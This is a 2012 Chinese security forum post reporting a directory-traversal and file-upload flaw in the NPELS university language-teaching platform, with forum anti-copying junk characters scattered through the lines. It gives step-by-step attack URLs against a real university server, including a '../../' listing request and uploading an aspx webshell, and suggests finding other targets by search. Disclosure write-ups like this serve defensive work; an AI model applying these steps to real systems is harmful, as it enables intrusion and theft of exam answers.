找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2444|回复: 0
打印 上一主题 下一主题

新理念外语网络教学平台文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:10:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好多大学都在用这个教学平台,这个漏洞会导致直接拿到试题答案,甚至作为跳板继续渗透进入学校其他服务器中
4 n. O) d; N% E( {4 }3 E4 D  Z* G# D& Z; J" R/ j( c
详细说明:6 n- t. U" F8 g( S
9 v% O' @- z* y, ~# a5 j
以南开大学的为例:
8 r; c6 C, W/ J( b4 A- Z' _0 c& ohttp://222.30.60.3/NPELS1 d$ W! b0 o# t2 ^; s7 n
NPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址
# [4 j8 ^" u' h2 [; ]8 C<setting name="Update_CommonSvr_CommonService" serializeAs="String">' c7 }( @( |" y" [$ q1 d1 w6 \
<value>http://222.30.60.3/NPELS/CommonService.asmx</value>: j, e; P+ v6 A8 ^! z
</setting>$ i- V' }7 f; f; h3 g& ~9 W5 S
及版本号
2 J1 `( Q4 ?; U. l9 [9 {3 [<add key="TVersion" value="1, 0, 0, 2187">5 ?; i& P+ d% }+ k* O1 l5 L2 m, y8 X
</add>0 o4 v: E' p8 f8 J( M) Y
直接访问
1 v6 e( @& `6 s2 dhttp://222.30.60.3/NPELS/CommonService.asmx
8 n- l' `/ m1 a7 L- k6 x& E4 W使用GetTestClientFileList操作,直接 HTTP GET 列目录:
. c# }. d- }# Q2 _5 p  ~! nhttp://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 2187
" ?1 r. L, `4 B4 D1 o; G进一步列目录(返回的网页很大,可以直接 wget 下来)# z, S9 y! U+ z
http://222.30.60.3/NPELS/CommonS ... List?version=../../
3 r! j* _$ V8 A* p% G7 w9 { & t0 Y0 X  i: t! B
发现
8 x# m( W3 u' }  G8 `http://zzxx.nankai.edu.cn/npelsv/editor/editor.htm
9 i9 y/ ]8 A2 w+ Y/ w- z* N4 V可以上传,直接上传aspx木马即可,不需要改后缀名或者文件头0 F( W, O" G! U  N! x! ?8 Y0 X
上传后继续列目录找到木马地址直接访问即可
5 z/ k2 X& v  Z- ~* R7 P" \ ' k, N6 p( d0 p5 {
OOXX/ r9 f! @% ~. m

5 \& ?! @2 J9 `( X( R2 oGoogle "新理念外语网络教学平台" 测试了几个其他的站,都有类似的列目录上传方法& l; n' D' k- Y; G! N- \! j6 F
漏洞证明:
, h, h+ n' v0 U # Q, C0 b) P3 E" @+ O
列目录:
/ o) j& }; G: @; O: b7 ohttp://222.30.60.3/NPELS/CommonS ... List?version=../..// N" h$ R7 u- p- W5 R
文件上传:. D4 _% J, r* v: Z/ j! q7 D8 Q: N8 f
http://222.30.60.3/npelsv/editor/editor.htm
5 p) i. `! s% h* W  w$ ]7 n
) {2 r/ Z* E' K0 T8 f( o- ~上传木马:4 }4 e+ M6 l" H, `3 r
http://222.30.60.3/npelsv/editor/uploadfiles/1.aspx- O1 T  _  A& k9 ]/ J+ ]
( |; _& Z5 t+ D# s4 S& J" N
修复方案:0 v" k* a1 E9 r: A
好像考试系统必须使用 CommonService.asmx0 l, I, P& p+ O- M+ x
最好配置文件加密或者用别的方式不让它泄露出来
+ o" w% E5 T. Z8 c, v' L% w/ [并且检查或删除各上传入口,像 http://222.30.60.3/NPELS/Upload.aspx 一样​: a5 ~' y5 b7 N
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表